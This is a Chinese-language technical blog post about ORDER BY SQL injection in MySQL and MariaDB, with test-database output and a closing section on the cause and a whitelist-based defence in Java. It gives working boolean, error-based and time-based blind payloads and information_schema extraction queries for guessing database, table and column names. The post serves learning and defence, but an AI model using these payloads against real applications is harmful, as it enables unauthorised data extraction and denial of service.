当前位置:网站首页>Order by注入
Order by注入
2022-07-02 09:32:00 【小莫神和他的的】
Order by注入
order by注入顾名思义可控参数在oder by后,可能出现在排序功能,想象一个功能可以根据用户输入的参数选择排名榜单,例如通过商品的名称select * from test01 order by [name];
或者通过商品的价格select * from test01 order by [price];
。
例如select * from test01 order by [args];
可以通过下面几个方法测试是否存在注入点:
利用报错
可以构造一些报错语句得到相关信息
regexp
select 1 regexp if(1=1,1,0x00) #正常显示
select 1 regexp if(1=2,1,0x00) #出现报错
这个在10.5.12-MariaDB-1已经不行了,而在mysql5.7还能使用
#10.5.12-MariaDB-1均正常显示
MariaDB [mysql]> select * from test01 order by (select 1 regexp if(1=1,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
MariaDB [mysql]> select * from test01 order by (select 1 regexp if(1=2,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
#mysql5.7.18则会报错
mysql> select * from test01 order by (select 1 regexp if(1=1,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jackk | 678910 |
| 4 | jack | 123456 |
+----+----------+--------+
3 rows in set (0.00 sec)
mysql> select * from test01 order by (select 1 regexp if(1=2,1,0x00));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
updatexml
这个就还是可以的
updatexml(1,if(1=1,1,user()),1) #正常显示
updatexml(1,if(1=2,1,user()),1) #出现报错
extractvalue
这个也是好用的
extractvalue(1,if(1=1,1,user()),1) #正常显示
extractvalue(1,if(1=2,1,user()),1) #出现报错
当报错显示被BAN掉之后可以考虑时间盲注。
利用时间盲注
注意如果直接if(1=2,1,sleep(2))
,sleep时间将会变成2*当前表中记录的数目
,将会对服务器造成一定的拒绝服务攻击。所以sleep时间可以设置的小一点。
if(1=1,1,sleep(time)) #正常显示
if(1=2,1,sleep(time)) #睡眠 (time*表中条目) 秒
数据猜解
这一部分的核心跟where注入没有什么区别。
数据库名猜解
#mysql5.7.18
mysql> select * from test01 order by (select 1 regexp if((substr(database(),1,1)=0x74),1,0x00));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
mysql> select * from test01 order by (select 1 regexp if((substr(database(),1,1)=0x6D),1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jackk | 678910 |
| 4 | jack | 123456 |
+----+----------+--------+
而我的数据库10.5.12-MariaDB-1则不能使用regexp
来进行猜解,所以可以用updexml
和extractvalue
。
#mysql5.7.18
MariaDB [mysql]> select * from test01 order by (updatexml(1,if((substr(database(),1,1)=0x74),1,user()),1));
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
MariaDB [mysql]> select * from test01 order by (updatexml(1,if((substr(database(),1,1)=0x6D),1,user()),1));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
其实利用思路没啥区别了,然后下面的几个网上的payload只在mysql5.5成功,往上的5.7就不行了。
猜解表名
select * from table order by (select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x74),1,0x00));
猜解列名
select * from table order by (select 1 regexp if(substring((select concat(column_name)from information_schema.columns where table_schema=database() and table_name=0x746573743031 limit 0,1),1,1)=0x70,1,0x00));
原因是下面几个payload在往上版本用NULL代替了报错。
mysql> select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x74),1,0x00);
+------------------------------------+
| 1 |
+------------------------------------+
mysql> select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x64),1,0x00);
+------------------------------------+
| NULL |
+------------------------------------+
而select * from table order by NULL
和select * from table order by 1
的结果是一样的。
MariaDB [mysql]> select * from test01 order by NULL;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
MariaDB [mysql]> select * from test01 order by 1;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
产生order by的原因
order by后的参数不能被单引号包裹,这会被解析成一个单纯的字符串。
mysql> select * from test01 order by passwd;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 4 | jack | 123456 |
| 2 | jackk | 678910 |
+----+----------+--------+
mysql> select * from test01 order by 'passwd';
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jackk | 678910 |
| 4 | jack | 123456 |
+----+----------+--------+
可以发现select * from test01 order by 'passwd'
并没有按照预期进行排序。
而在预编译中如果直接在select * from test01 order by ?
中用passwd
占位会把passwd
当成字符串而变成select * from test01 order by 'passwd'
。
所以会出现使用字符串拼接的情况,而有字符串拼接就有了SQL注入的可能。
String orderString = "passwd";
String sql01 = "select * from test01 order by" + orderString;
PreparedStatement preSql01 = conn.prepareStatement(sql01);
而这时的预编译其实相当于多次一举了,我们的恶意输入也将一同被预编译。
防御的手段第一个就是常见的过滤检查,限制非法输入。另一种就是使用序号来代替字段名。
例如passwd
是第3列我们可以用select * from test01 order by 3
来替代。
至于编程实现也很简单,可以设置一个枚举或者MAP变量,然后拿用户输入passwd
进行比对返回序号,然后拿序号预编译。
int index = map.get("passwd"); //从map获取对应序号
String sql02 = "select * from test01 order by ?";
PreparedStatement preSql02 = conn.prepareStatement(sql02);
preSql02.setInt(1,index);
边栏推荐
- V2x SIM dataset (Shanghai Jiaotong University & New York University)
- PHP tea sales and shopping online store
- [in simple terms, play with FPGA learning 3 ----- basic grammar]
- php中self和static在方法中的区别
- String (Analog
- 二叉树专题--AcWing 1589. 构建二叉搜索树
- [paid promotion] collection of frequently asked questions, recommended list FAQ
- Openmldb meetup No.4 meeting minutes
- ren域名有价值吗?值不值得投资?ren域名的应用范围有哪些?
- flink二开,实现了个 batch lookup join(附源码)
猜你喜欢
Pit of the start attribute of enumrate
【IDEA】使用插件一键逆向生成代码
解决uniapp列表快速滑动页面数据空白问题
Special topic of binary tree -- acwing 1497 Traversal of the tree (use post and mid order traversal to build a binary tree)
tqdm的多行显示与单行显示
三.芯片启动和时钟系统
二.Stm32f407芯片GPIO编程,寄存器操作,库函数操作和位段操作
【AI应用】海康威视iVMS-4200软件安装
从攻击面视角,看信创零信任方案实践
Importerror: impossible d'importer le nom « graph» de « graphviz»
随机推荐
[applinking practical case] share in app pictures through applinking
[play with FPGA learning 2 in simple terms ----- design skills (basic grammar)]
Why does LabVIEW lose precision in floating point numbers
TIPC介绍1
Primary key policy problem
Appgallery connect scenario development practice - image storage and sharing
mmrotate旋转目标检测框架使用记录
Tick Data and Resampling
Verilog and VHDL signed and unsigned number correlation operations
TIPC Getting Started6
QT学习日记7——QMainWindow
洛谷 P3398 仓鼠找 sugar(树上倍增 lca 判断树中两条路径是否相交 结论)
函数式接口和方法引用
Special topic of binary tree -- acwing 1497 Traversal of the tree (use post and mid order traversal to build a binary tree)
CentOS8之mysql基本用法
二叉树专题--【深基16.例7】普通二叉树(简化版)(multiset 求前驱 后继 哨兵法)
[AGC] how to solve the problem that the local display of event analysis data is inconsistent with that in AGC panel?
Resources读取2d纹理 转换为png格式
spritejs
PHP tea sales and shopping online store